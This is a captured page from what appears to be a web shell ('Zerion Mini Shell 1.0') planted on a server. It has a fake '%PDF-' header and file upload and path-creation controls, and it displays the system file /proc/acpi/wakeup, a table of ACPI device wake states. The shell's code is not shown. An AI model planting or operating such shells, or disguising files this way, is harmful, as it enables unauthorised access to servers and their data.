%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/acpi/
Upload File :
Create Path :
Current File : //proc/acpi/wakeup

Device	S-state	  Status   Sysfs node
IP2P	  S4	*disabled
RP01	  S4	*disabled  pci:0000:00:1c.0
RP02	  S4	*disabled
RP03	  S4	*disabled
RP04	  S4	*disabled
RP05	  S4	*enabled   pci:0000:00:1c.4
RP06	  S4	*disabled
RP07	  S4	*disabled
RP08	  S4	*disabled
BR1B	  S4	*disabled
BR2A	  S4	*enabled   pci:0000:00:02.0
BR2B	  S4	*disabled
BR2C	  S4	*disabled
BR2D	  S4	*disabled
BR3A	  S4	*enabled   pci:0000:00:03.0
BR3B	  S4	*disabled
BR3C	  S4	*enabled   pci:0000:00:03.2
BR3D	  S4	*disabled
BR1A	  S4	*enabled   pci:0000:00:01.0
QRP0	  S4	*disabled
QR1A	  S4	*disabled
QR1B	  S4	*disabled
QR3A	  S4	*disabled
QR3B	  S4	*disabled
QR3C	  S4	*disabled
QR3D	  S4	*disabled
QR2A	  S4	*disabled  pci:0000:80:02.0
QR2B	  S4	*disabled  pci:0000:80:02.1
QR2C	  S4	*disabled  pci:0000:80:02.2
QR2D	  S4	*disabled  pci:0000:80:02.3
RRP0	  S4	*disabled
RR1A	  S4	*disabled
RR1B	  S4	*disabled
RR2A	  S4	*disabled
RR2B	  S4	*disabled
RR2C	  S4	*disabled
RR2D	  S4	*disabled
RR3A	  S4	*disabled
RR3B	  S4	*disabled
RR3C	  S4	*disabled
RR3D	  S4	*disabled
SRP0	  S4	*disabled
SR1A	  S4	*disabled
SR1B	  S4	*disabled
SR2A	  S4	*disabled
SR2B	  S4	*disabled
SR2C	  S4	*disabled
SR2D	  S4	*disabled
SR3A	  S4	*disabled
SR3B	  S4	*disabled
SR3C	  S4	*disabled
SR3D	  S4	*disabled

Zerion Mini Shell 1.0